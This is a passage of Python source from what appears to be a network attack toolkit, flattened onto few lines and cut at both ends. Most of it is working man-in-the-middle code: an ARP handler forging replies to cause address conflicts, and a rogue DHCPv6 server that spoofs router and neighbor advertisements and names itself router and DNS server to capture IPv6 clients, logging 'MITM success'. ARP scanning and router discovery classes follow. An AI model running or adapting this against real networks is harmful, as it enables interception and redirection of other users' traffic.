arp_target_ip_address, ' Tell ', arp_sender_ip_address, '"') # endregion # region Get client mitm status try: mitm_status = self._clients[arp_sender_mac_address]['mitm'] except KeyError: mitm_status = '' # endregion # region Get client requested ip try: requested_ip = self._clients[arp_sender_mac_address][ 'requested_ip'] except KeyError: requested_ip = '' # endregion # region Create IPv4 address conflict if mitm_status.startswith('error'): arp_reply = self._arp.make_response( ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=arp_sender_mac_address, sender_mac=self._your['mac-address'], sender_ip=arp_target_ip_address, target_mac=arp_sender_mac_address, target_ip=arp_sender_ip_address) self._raw_send.send_packet(arp_reply) self._base.print_info( 'ARP response to: ', arp_sender_mac_address, ' "', arp_target_ip_address + ' is at ' + self._your['mac-address'], '" (IPv4 address conflict)') # endregion # region MITM success if mitm_status.startswith('success'): if arp_target_ip_address == requested_ip: self._clients[arp_sender_mac_address].update( {'client request his ip': True}) if arp_target_ip_address == self._router_ipv4_address: self._clients[arp_sender_mac_address].update( {'client request router ip': True}) if arp_target_ip_address == self._dns_server_ipv4_address: self._clients[arp_sender_mac_address].update( {'client request dns ip': True}) try: assert self._clients[arp_sender_mac_address][ 'client request his ip'] assert self._clients[arp_sender_mac_address][ 'client request router ip'] assert self._clients[arp_sender_mac_address][ 'client request dns ip'] assert 'success message' not in self._clients[ arp_sender_mac_address].keys() self._base.print_success( 'MITM success: ', requested_ip + ' (' + arp_sender_mac_address + ')') if self._exit_on_success: sleep(3) exit(0) else: self._clients[arp_sender_mac_address].update( {'success message': True}) except KeyError: pass except AssertionError: pass
class DHCPv6Server: # region Set properties _base: Base = Base() _utils: Utils = Utils() _sniff: RawSniff = RawSniff() _eth: RawEthernet = RawEthernet() _icmpv6: RawICMPv6 = RawICMPv6() _dhcpv6: RawDHCPv6 = RawDHCPv6() _thread_manager: ThreadManager = ThreadManager(10) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv6-link-address': None } _target: Dict[str, Union[None, str]] = { 'mac-address': None, 'ipv6-address': None } _clients: Dict[str, Dict[str, Union[bool, str]]] = dict() _ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64' _ipv6_prefix_address: str = 'fde4:8dba:82e1:ffff::' _first_ipv6_address_suffix: int = 2 _last_ipv6_address_suffix: int = 65534 _domain_search: str = 'domain.local' _solicit_packets_delay: float = 1 _disable_dhcpv6: bool = False _exit_on_success: bool = False _quiet: bool = True # endregion # region Init def __init__(self, network_interface: str): self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=['mac-address', 'ipv6-link-address']) self._dns_server_ipv6_address: str = self._your['ipv6-link-address'] self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start DHCPv6 Server def start(self, target_mac_address: Union[None, str] = None, target_ipv6_address: Union[None, str] = None, first_ipv6_address_suffix: int = 2, last_ipv6_address_suffix: int = 65534, dns_server_ipv6_address: Union[None, str] = None, ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64', domain_search: str = 'domain.local', disable_dhcpv6: bool = False, exit_on_success: bool = False, quiet: bool = False) -> None: # region Set variables self._ipv6_prefix: str = ipv6_prefix self._ipv6_prefix_address: str = self._ipv6_prefix.split('/')[0] self._disable_dhcpv6 = disable_dhcpv6 self._domain_search = domain_search self._exit_on_success = exit_on_success self._quiet = quiet # endregion # region Set target MAC and IPv6 address, if target IP is not set - get first and last suffix IPv6 address # region Set target IPv6 address if target_mac_address is not None: self._target['mac-address'] = \ self._utils.check_mac_address(mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Target IPv6 is set if target_ipv6_address is not None: assert target_mac_address is not None, \ 'Please set target MAC address for target IPv6 address: ' + \ self._base.info_text(str(target_ipv6_address)) self._target['ipv6-address'] = \ self._utils.check_ipv6_address(network_interface=self._your['network-interface'], ipv6_address=target_ipv6_address, is_local_ipv6_address=False, parameter_name='target IPv6 address') self._clients[self._target['mac-address']] = { 'advertise address': self._target['ipv6-address'] } # endregion # region Target IPv6 is not set - get first and last suffix IPv6 address else: # Check first suffix IPv6 address self._first_ipv6_address_suffix = \ self._utils.check_value_in_range(value=first_ipv6_address_suffix, first_value=1, last_value=65535, parameter_name='first IPv6 address suffix') # Check last suffix IPv6 address self._last_ipv6_address_suffix = \ self._utils.check_value_in_range(value=last_ipv6_address_suffix, first_value=self._first_ipv6_address_suffix, last_value=65535, parameter_name='last IPv6 address suffix') # endregion # endregion # region Set recursive DNS server address if dns_server_ipv6_address is not None: self._dns_server_ipv6_address = \ self._utils.check_ipv6_address(network_interface=self._your['network-interface'], ipv6_address=dns_server_ipv6_address, is_local_ipv6_address=False, parameter_name='DNS server IPv6 address', check_your_ipv6_address=False) # endregion # region General output if not self._quiet: self._base.print_info('Network interface: ', self._your['network-interface']) self._base.print_info('Your MAC address: ', self._your['mac-address']) self._base.print_info('Your link local IPv6 address: ', self._your['ipv6-link-address']) if self._target['mac-address'] is not None: self._base.print_info('Target MAC address: ', self._target['mac-address']) if self._target['ipv6-address'] is not None: self._base.print_info('Target IPv6 address: ', self._target['ipv6-address']) else: self._base.print_info('First suffix offer IP: ', str(self._first_ipv6_address_suffix)) self._base.print_info('Last suffix offer IP: ', str(self._last_ipv6_address_suffix)) self._base.print_info('Prefix: ', self._ipv6_prefix) self._base.print_info('Router IPv6 address: ', self._your['ipv6-link-address']) self._base.print_info('DNS IPv6 address: ', self._dns_server_ipv6_address) self._base.print_info('Domain search: ', self._domain_search) # endregion # region Send ICMPv6 advertise packets in other thread self._thread_manager.add_task(self._send_icmpv6_advertise_packets) # endregion # region Add multicast MAC addresses on interface self._add_multicast_mac_addresses() # endregion # region Start Sniffer # region Print info message self._base.print_info('Waiting for a ICMPv6 or DHCPv6 requests ...') # endregion # region Set sniff filters sniff_filters: Dict = { 'Ethernet': { 'not-source': self._your['mac-address'] }, 'UDP': { 'destination-port': 547, 'source-port': 546 }, 'ICMPv6': { 'types': [133, 135] } } scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address'] if self._target['mac-address'] is not None: sniff_filters['Ethernet'] = {'source': self._target['mac-address']} scapy_lfilter: Any = lambda eth: eth.src == self._target[ 'mac-address'] # endregion # region Start sniffer self._sniff.start(protocols=['IPv6', 'UDP', 'ICMPv6', 'DHCPv6'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='icmp6 or (udp and (port 547 or 546))', scapy_lfilter=scapy_lfilter) # endregion # endregion # endregion # region Add multicast MAC addresses on interface def _add_multicast_mac_addresses(self): self._base.add_multicast_mac_address( interface_name=self._your['network-interface'], multicast_mac_address='33:33:00:00:00:02', exit_on_failure=False, quiet=self._quiet) self._base.add_multicast_mac_address( interface_name=self._your['network-interface'], multicast_mac_address='33:33:00:01:00:02', exit_on_failure=False, quiet=self._quiet) # endregion # region Add client info in global self._clients dictionary def _add_client_info_in_dictionary( self, client_mac_address: str, client_info: Dict[str, Union[bool, str]], this_client_already_in_dictionary: bool = False): if this_client_already_in_dictionary: self._clients[client_mac_address].update(client_info) else: self._clients[client_mac_address] = client_info # endregion # region Send ICMPv6 solicit packets def _send_icmpv6_solicit_packets(self): try: while True: icmpv6_solicit_packet = \ self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address'], need_source_link_layer_address=True, source_link_layer_address=self._eth.make_random_mac()) self._raw_send.send_packet(icmpv6_solicit_packet) sleep(self._solicit_packets_delay) except KeyboardInterrupt: self._base.print_info('Exit') exit(0) # endregion # region Send DHCPv6 solicit packets def _send_dhcpv6_solicit_packets(self): try: while True: request_options = [23, 24] dhcpv6_solicit_packet = \ self._dhcpv6.make_solicit_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address'], transaction_id=randint(1, 16777215), client_mac_address=self._eth.make_random_mac(), option_request_list=request_options) self._raw_send.send_packet(dhcpv6_solicit_packet) sleep(self._solicit_packets_delay) except KeyboardInterrupt: self._base.print_info('Exit ....') exit(0) # endregion # region Send ICMPv6 advertise packets def _send_icmpv6_advertise_packets(self): icmpv6_ra_packet = \ self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac='33:33:00:00:00:01', ipv6_src=self._your['ipv6-link-address'], ipv6_dst='ff02::1', dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, prefix=self._ipv6_prefix, router_lifetime=5000, advertisement_interval= int(self._solicit_packets_delay * 1000)) try: while True: self._raw_send.send_packet(icmpv6_ra_packet) sleep(self._solicit_packets_delay) except KeyboardInterrupt: self._base.print_info('Exit') exit(0) # endregion # region Reply to DHCPv6 and ICMPv6 requests def _reply(self, packet): # region Get client MAC address client_mac_address: str = packet['Ethernet']['source'] # endregion # region Check this client already in self._clients dictionary client_already_in_dictionary: bool = False if client_mac_address in self._clients.keys(): client_already_in_dictionary = True # endregion # region Check MiTM status for this client self._check_mitm_status(client_mac_address=client_mac_address) # endregion # region ICMPv6 if 'ICMPv6' in packet.keys(): # region ICMPv6 Router Solicitation if packet['ICMPv6']['type'] == 133: # Make and send ICMPv6 router advertisement packet icmpv6_ra_packet = \ self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, prefix=self._ipv6_prefix, router_lifetime=5000) self._raw_send.send_packet(icmpv6_ra_packet) # Print info messages self._base.print_info( 'ICMPv6 Router Solicitation request from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')') self._base.print_info( 'ICMPv6 Router Advertisement reply to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')') # Delete this client from global self._clients dictionary try: del self._clients[client_mac_address] client_already_in_dictionary = False except KeyError: pass # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'router solicitation': True, 'network prefix': self._ipv6_prefix }, client_already_in_dictionary) # endregion # region ICMPv6 Neighbor Solicitation if packet['ICMPv6']['type'] == 135: # region Get ICMPv6 Neighbor Solicitation target address target_address: str = packet['ICMPv6']['target-address'] na_packet: Union[None, bytes] = None if target_address.startswith('fe80::'): if target_address == self._your['ipv6-link-address']: self._add_client_info_in_dictionary( client_mac_address, {'neighbor solicitation your address': True}, client_already_in_dictionary) else: na_packet = \ self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address'], target_ipv6_address=target_address) # endregion # region Neighbor Solicitation target address is DNS server IPv6 address if self._dns_server_ipv6_address != self._your[ 'ipv6-link-address']: if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \ self._dns_server_ipv6_address.startswith('fe80::'): if target_address == self._dns_server_ipv6_address: self._add_client_info_in_dictionary( client_mac_address, { 'neighbor solicitation dns server address': True }, client_already_in_dictionary) # endregion # region Neighbor Solicitation target address not in your ipv6 prefix if not target_address.startswith( self._ipv6_prefix_address) and na_packet is not None: for _ in range(10): self._raw_send.send_packet(na_packet) # endregion # region Neighbor Solicitation target address in your ipv6 prefix else: self._add_client_info_in_dictionary( client_mac_address, {'neighbor solicitation in ipv6 prefix': True}, client_already_in_dictionary) # endregion # region DHCPv6 advertise address is set # This client already in dictionary if client_already_in_dictionary: # Advertise address for this client is set if 'advertise address' in self._clients[ client_mac_address].keys(): # ICMPv6 Neighbor Solicitation target address is DHCPv6 advertise IPv6 address if target_address == self._clients[client_mac_address][ 'advertise address']: # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'neighbor solicitation advertise address': True }, client_already_in_dictionary) # ICMPv6 Neighbor Solicitation target address is not DHCPv6 advertise IPv6 address elif na_packet is not None: for _ in range(10): self._raw_send.send_packet(na_packet) # endregion # endregion # endregion # region DHCPv6 # Protocol DHCPv6 is enabled if not self._disable_dhcpv6 and 'DHCPv6' in packet.keys(): # region Get Client identifier and Identity Association for Non-temporary Address cid: Union[None, bytes] = None iaid: Union[None, int] = None for option in packet['DHCPv6']['options']: if option['type'] == 1: cid = option['value']['raw'] elif option['type'] == 3: iaid = option['value']['iaid'] if cid is None or iaid is None: self._base.print_info( 'Malformed DHCPv6 packet from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id'])) return # endregion # region DHCPv6 Solicit if packet['DHCPv6']['message-type'] == 1: # Set IPv6 address in advertise packet try: ipv6_address = self._clients[client_mac_address][ 'advertise address'] except KeyError: if self._target['ipv6-address'] is not None: ipv6_address = self._target['ipv6-address'] else: ipv6_address = self._ipv6_prefix_address + \ format(randint(self._first_ipv6_address_suffix, self._last_ipv6_address_suffix), 'x') # Make and send DHCPv6 advertise packet dhcpv6_advertise = \ self._dhcpv6.make_advertise_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], transaction_id=packet['DHCPv6']['transaction-id'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, ipv6_address=ipv6_address, cid=cid, iaid=iaid, preference=255) self._raw_send.send_packet(dhcpv6_advertise) # Print info messages self._base.print_info( 'DHCPv6 Solicit from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id'])) self._base.print_info( 'DHCPv6 Advertise to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' IAA: ', ipv6_address) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 solicit': True, 'advertise address': ipv6_address }, client_already_in_dictionary) # endregion # region DHCPv6 Request if packet['DHCPv6']['message-type'] == 3: # Set DHCPv6 reply packet dhcpv6_reply: Union[None, bytes] = None # region Get Client DUID time, IPv6 address and Server MAC address client_ipv6_address: Union[None, str] = None server_mac_address: Union[None, str] = None for dhcpv6_option in packet['DHCPv6']['options']: if dhcpv6_option['type'] == 2: server_mac_address = dhcpv6_option['value'][ 'mac-address'] if dhcpv6_option['type'] == 3: client_ipv6_address = dhcpv6_option['value'][ 'ipv6-address'] # endregion if server_mac_address is not None and client_ipv6_address is not None: # Check Server MAC address if server_mac_address != self._your['mac-address']: self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 mitm': 'error: server mac address is not your mac address' }, client_already_in_dictionary) else: self._add_client_info_in_dictionary( client_mac_address, {'dhcpv6 mitm': 'success'}, client_already_in_dictionary) try: if client_ipv6_address == self._clients[ client_mac_address]['advertise address']: dhcpv6_reply = \ self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], transaction_id=packet['DHCPv6']['transaction-id'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, ipv6_address=client_ipv6_address, cid=cid) self._raw_send.send_packet(dhcpv6_reply) else: self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 mitm': 'error: client request address is not advertise address' }, client_already_in_dictionary) except KeyError: self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 mitm': 'error: not found dhcpv6 solicit request for this client' }, client_already_in_dictionary) # Print info messages self._base.print_info( 'DHCPv6 Request from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' Server: ', server_mac_address, ' IAA: ', client_ipv6_address) if dhcpv6_reply is not None: self._base.print_info( 'DHCPv6 Reply to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' Server: ', server_mac_address, ' IAA: ', client_ipv6_address) else: if self._clients[client_mac_address]['dhcpv6 mitm'] == \ 'error: server mac address is not your mac address': self._base.print_error( 'Server MAC address in DHCPv6 Request is not your MAC address ' + 'for this client: ', client_mac_address) if self._clients[client_mac_address]['dhcpv6 mitm'] == \ 'error: client request address is not advertise address': self._base.print_error( 'Client requested IPv6 address is not advertise IPv6 address ' + 'for this client: ', client_mac_address) if self._clients[client_mac_address]['dhcpv6 mitm'] == \ 'error: not found dhcpv6 solicit request for this client': self._base.print_error( 'Could not found DHCPv6 solicit request ' + 'for this client: ', client_mac_address) # endregion # region DHCPv6 Release if packet['DHCPv6']['message-type'] == 8: # Print info message self._base.print_info( 'DHCPv6 Release from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id'])) # Delete this client from global self._clients dictionary try: del self._clients[client_mac_address] client_already_in_dictionary = False except KeyError: pass # endregion # region DHCPv6 Confirm if packet['DHCPv6']['message-type'] == 4: # region Get Client IPv6 address client_ipv6_address: Union[None, str] = None for dhcpv6_option in packet['DHCPv6']['options']: if dhcpv6_option['type'] == 3: client_ipv6_address = dhcpv6_option['value'][ 'ipv6-address'] # endregion # region Make and send DHCPv6 Reply packet dhcpv6_reply = \ self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], transaction_id=packet['DHCPv6']['transaction-id'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, ipv6_address=client_ipv6_address, cid=cid) self._raw_send.send_packet(dhcpv6_reply) # endregion # region Add Client info in global self._clients dictionary and print info message self._add_client_info_in_dictionary( client_mac_address, { 'advertise address': client_ipv6_address, 'dhcpv6 mitm': 'success' }, client_already_in_dictionary) self._base.print_info( 'DHCPv6 Confirm from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' IAA: ', client_ipv6_address) self._base.print_info( 'DHCPv6 Reply to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' IAA: ', client_ipv6_address) # endregion # endregion # endregion # endregion # region Check MiTM Success def _check_mitm_status(self, client_mac_address: str): try: if not self._disable_dhcpv6: assert self._clients[client_mac_address][ 'dhcpv6 mitm'] == 'success' # assert self._clients[client_mac_address]['neighbor solicitation advertise address'] else: if self._dns_server_ipv6_address != self._your[ 'ipv6-link-address']: if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \ self._dns_server_ipv6_address.startswith('fe80::'): assert self._clients[client_mac_address][ 'neighbor solicitation dns server address'] assert self._clients[client_mac_address][ 'neighbor solicitation your address'] assert self._clients[client_mac_address][ 'neighbor solicitation in ipv6 prefix'] assert 'success message' not in self._clients[ client_mac_address].keys() self._base.print_success( 'MITM success: ', self._clients[client_mac_address]['advertise address'] + ' (' + client_mac_address + ')') if self._exit_on_success: sleep(3) exit(0) else: self._clients[client_mac_address].update( {'success message': True}) return True except KeyError: return False except AssertionError: return False
class ArpScan: # region Variables _base: Base = Base() _arp: RawARP = RawARP() _raw_sniff: RawSniff = RawSniff() _thread_manager: ThreadManager = ThreadManager(2) _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None} _target: Dict[str, Union[None, str]] = {'ipv4-address': None, 'mac-address': None} _results: List[Dict[str, str]] = list() _mac_addresses: List[str] = list() _unique_results: List[Dict[str, str]] = list() _sorted_results: List[Dict[str, str]] = list() _retry_number: int = 5 _timeout: int = 5 _quit: bool = False # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings(interface_name=network_interface, required_parameters=['mac-address', 'ipv4-address', 'first-ipv4-address', 'last-ipv4-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Scanner def scan(self, timeout: int = 5, retry: int = 5, target_ip_address: Union[None, str] = None, check_vendor: bool = True, exclude_ip_addresses: Union[None, List[str]] = None, exit_on_failure: bool = True, show_scan_percentage: bool = True) -> List[Dict[str, str]]: """ ARP scan on network interface :param timeout: Timeout in seconds (default: 5) :param retry: Retry number (default: 5) :param target_ip_address: Target IPv4 address (example: 192.168.0.1) :param check_vendor: Check vendor of hosts (default: True) :param exclude_ip_addresses: Exclude IPv4 address list (example: ['192.168.0.1','192.168.0.2']) :param exit_on_failure: Exit if alive hosts in network not found (default: True) :param show_scan_percentage: Show ARP scan progress percentage (default: True) :return: Result list of alive hosts (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': '192.168.0.1', 'vendor': 'Raspberry Pi Foundation'}]) """ try: # region Clear lists with scan results self._results.clear() self._unique_results.clear() self._sorted_results.clear() self._mac_addresses.clear() # endregion # region Set variables self._quit = not show_scan_percentage self._target['ipv4-address'] = self._check_target_ip_address(target_ip_address) self._timeout = int(timeout) self._retry_number = int(retry) # endregion # region Run _sniffer self._thread_manager.add_task(self._sniff) # endregion # region Run sender self._send() # endregion # region Wait sleep(self._timeout) # endregion # region Unique results for index in range(len(self._results)): if self._results[index]['mac-address'] not in self._mac_addresses: self._unique_results.append(self._results[index]) self._mac_addresses.append(self._results[index]['mac-address']) # endregion # region Exclude IP addresses if exclude_ip_addresses is not None: self._results = self._unique_results self._unique_results = list() for index in range(len(self._results)): if self._results[index]['ip-address'] not in exclude_ip_addresses: self._unique_results.append(self._results[index]) self._results = list() # endregion # region Get vendors if check_vendor: for result_index in range(len(self._unique_results)): self._unique_results[result_index]['vendor'] = \ self._base.get_vendor_by_mac_address(self._unique_results[result_index]['mac-address']) # endregion # region Sort by IP address self._sorted_results = sorted(self._unique_results, key=lambda ip: inet_aton(ip['ip-address'])) # endregion except KeyboardInterrupt: self._base.print_info('Exit') exit(0) if len(self._unique_results) == 0: if exit_on_failure: self._base.print_error('Could not find allive hosts on interface: ', self._your['network-interface']) exit(1) return self._sorted_results # endregion # region Get MAC address by IP address def get_mac_address(self, target_ip_address: str = '192.168.0.1', timeout: int = 5, retry: int = 5, exit_on_failure: bool = True, show_scan_percentage: bool = False) -> str: """ Get MAC address of IP address on network interface :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param target_ip_address: Target IPv4 address (example: 192.168.0.1) :param exit_on_failure: Exit if MAC address of target IP address not found (default: True) :param show_scan_percentage: Show ARP scan progress percentage (default: True) :return: MAC address of target IP address (example: '01:23:45:67:89:0a') """ # region Set result MAC address value result_mac_address: str = 'ff:ff:ff:ff:ff:ff' # endregion try: # region Clear lists with scan results self._results.clear() self._unique_results.clear() self._mac_addresses.clear() # endregion # region Set variables self._quit = not show_scan_percentage self._target['ipv4-address'] = self._check_target_ip_address(target_ip_address) self._timeout = int(timeout) self._retry_number = int(retry) # endregion # region Run _sniffer self._thread_manager.add_task(self._sniff) # endregion # region Run sender self._send() # endregion # region Wait sleep(self._timeout) # endregion # region Return if 'mac-address' in self._results[0].keys(): result_mac_address = self._results[0]['mac-address'] # endregion except IndexError: pass except KeyboardInterrupt: self._base.print_info('Exit') exit(0) if result_mac_address == 'ff:ff:ff:ff:ff:ff': if exit_on_failure: self._base.print_error('Could not find MAC address of IP address: ', target_ip_address) exit(1) return result_mac_address # endregion # region Analyze packet def _analyze_packet(self, packet: Dict[str, Dict[str, str]]) -> None: """ Analyze ARP reply :param packet: Parsed ARP reply :return: None """ try: # region Asserts assert 'ARP' in packet.keys() assert 'sender-mac' in packet['ARP'].keys() assert 'sender-ip' in packet['ARP'].keys() assert 'target-mac' in packet['ARP'].keys() assert 'target-ip' in packet['ARP'].keys() assert packet['ARP']['target-mac'] == self._your['mac-address'] assert packet['ARP']['target-ip'] == self._your['ipv4-address'] # endregion # region Parameter Target IPv4 address is None if self._target['ipv4-address'] is None: self._results.append({ 'mac-address': packet['ARP']['sender-mac'], 'ip-address': packet['ARP']['sender-ip'] }) # endregion # region Parameter Target IPv4 address is Set else: if packet['ARP']['sender-ip'] == self._target['ipv4-address']: self._results.append({ 'mac-address': packet['ARP']['sender-mac'], 'ip-address': packet['ARP']['sender-ip'] }) # endregion except AssertionError: pass # endregion # region Sniffer def _sniff(self) -> None: """ Sniff ARP replies :return: None """ self._raw_sniff.start(protocols=['Ethernet', 'ARP'], prn=self._analyze_packet, filters={'Ethernet': {'destination': self._your['mac-address']}, 'ARP': {'opcode': 2, 'target-mac': self._your['mac-address'], 'target-ip': self._your['ipv4-address']}}, network_interface=self._your['network-interface'], scapy_filter='arp', scapy_lfilter=lambda eth: eth.dst == self._your['mac-address']) # endregion # region Sender def _send(self) -> None: """ Send ARP requests :return: None """ arp_requests: List[bytes] = list() if self._target['ipv4-address'] is not None: first_ip_address: str = self._target['ipv4-address'] last_ip_address: str = self._target['ipv4-address'] else: first_ip_address: str = self._your['first-ipv4-address'] last_ip_address: str = self._your['last-ipv4-address'] index: int = 0 while True: current_ip_address: str = str(IPv4Address(first_ip_address) + index) index += 1 if IPv4Address(current_ip_address) > IPv4Address(last_ip_address): break arp_request: bytes = self._arp.make_request(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac='ff:ff:ff:ff:ff:ff', sender_mac=self._your['mac-address'], sender_ip=self._your['ipv4-address'], target_mac='00:00:00:00:00:00', target_ip=current_ip_address) arp_requests.append(arp_request) number_of_requests: int = len(arp_requests) * int(self._retry_number) index_of_request: int = 0 percent_complete: int = 0 for _ in range(int(self._retry_number)): for arp_request in arp_requests: self._raw_send.send_packet(arp_request) if not self._quit: index_of_request += 1 new_percent_complete = int(float(index_of_request) / float(number_of_requests) * 100) if new_percent_complete > percent_complete: stdout.write('\r') stdout.write(self._base.c_info + 'Interface: ' + self._base.info_text(self._your['network-interface']) + ' ARP scan percentage: ' + self._base.info_text(str(new_percent_complete) + '%')) stdout.flush() sleep(0.01) percent_complete = new_percent_complete if not self._quit: stdout.write('\n') # endregion # region Check target IPv4 address def _check_target_ip_address(self, target_ip_address: Union[None, str]) -> Union[None, str]: try: if target_ip_address is not None: assert self._base.ip_address_in_range(target_ip_address, self._your['first-ipv4-address'], self._your['last-ipv4-address']), \ 'Bad Target IPv4 address: ' + \ self._base.error_text(target_ip_address) + \ '; Target IPv4 address must be in range: ' + \ self._base.info_text(self._your['first-ipv4-address'] + ' - ' + self._your['last-ipv4-address']) + \ '; example Target IPv4 address: ' + \ self._base.info_text(self._base.get_random_ip_on_interface(self._your['network-interface'])) return target_ip_address else: return None except AssertionError as Error: self._base.print_error(Error.args[0]) exit(1)
class ICMPv6RouterSearch: # region Set variables _base: Base = Base() _icmpv6: RawICMPv6 = RawICMPv6() _raw_sniff: RawSniff = RawSniff() _thread_manager: ThreadManager = ThreadManager(2) _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None, 'ipv6-link-address': None} _retry_number: int = 3 _timeout: int = 3 _router_info: Union[None, Dict[str, Union[int, str]]] = None # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings(interface_name=network_interface, required_parameters=['mac-address', 'ipv6-link-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Analyze packet def _analyze_packet(self, packet: Dict) -> None: try: assert 'Ethernet' in packet.keys() assert 'IPv6' in packet.keys() assert 'ICMPv6' in packet.keys() assert 'type' in packet['ICMPv6'].keys() # 134 Type of ICMPv6 Router Advertisement assert packet['ICMPv6']['type'] == 134, 'Not ICMPv6 Router Advertisement packet!' # Save router information self._router_info = dict() self._router_info['router_mac_address'] = packet['Ethernet']['source'] self._router_info['router_ipv6_address'] = packet['IPv6']['source-ip'] self._router_info['flags'] = hex(packet['ICMPv6']['flags']) self._router_info['router-lifetime'] = int(packet['ICMPv6']['router-lifetime']) self._router_info['reachable-time'] = int(packet['ICMPv6']['reachable-time']) self._router_info['retrans-timer'] = int(packet['ICMPv6']['retrans-timer']) for icmpv6_ra_option in packet['ICMPv6']['options']: if icmpv6_ra_option['type'] == 3: self._router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + '/' + \ str(icmpv6_ra_option['value']['prefix-length']) if icmpv6_ra_option['type'] == 5: self._router_info['mtu'] = int(icmpv6_ra_option['value'], 16) if icmpv6_ra_option['type'] == 25: self._router_info['dns-server'] = str(icmpv6_ra_option['value']['address']) # Search router vendor self._router_info['vendor'] = \ self._base.get_vendor_by_mac_address(self._router_info['router_mac_address']) except AssertionError: pass # endregion # region Sniffer def _sniff(self) -> None: """ Sniff ICMPv6 packets :return: None """ # region ICMPv6 multicast ping scan self._raw_sniff.start(protocols=['Ethernet', 'IPv6', 'ICMPv6'], prn=self._analyze_packet, filters={'ICMPv6': {'type': 134}}, network_interface=self._your['network-interface'], scapy_filter='icmp6') # endregion # region Sender def _send(self) -> None: """ Send ICMPv6 packets :return: None """ request: bytes = self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address']) self._raw_send.send_packet(packet=request, count=self._retry_number, delay=0.1) # endregion # region Search IPv6 router def search(self, timeout: int = 3, retry: int = 3, exit_on_failure: bool = True) -> Dict[str, Union[int, str]]: """ Search IPv6 router in network :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param exit_on_failure: Exit if IPv6 router in network not found (default: True) :return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a', 'router_ipv6_address': 'fe80::1234:5678:90ab:cdef', 'flags': '0x0', 'router-lifetime': 0, 'reachable-time': 0, 'retrans-timer': 0, 'prefix': 'fd00::/64', 'vendor': 'D-Link International'}) """ # region Set variables self._timeout = int(timeout) 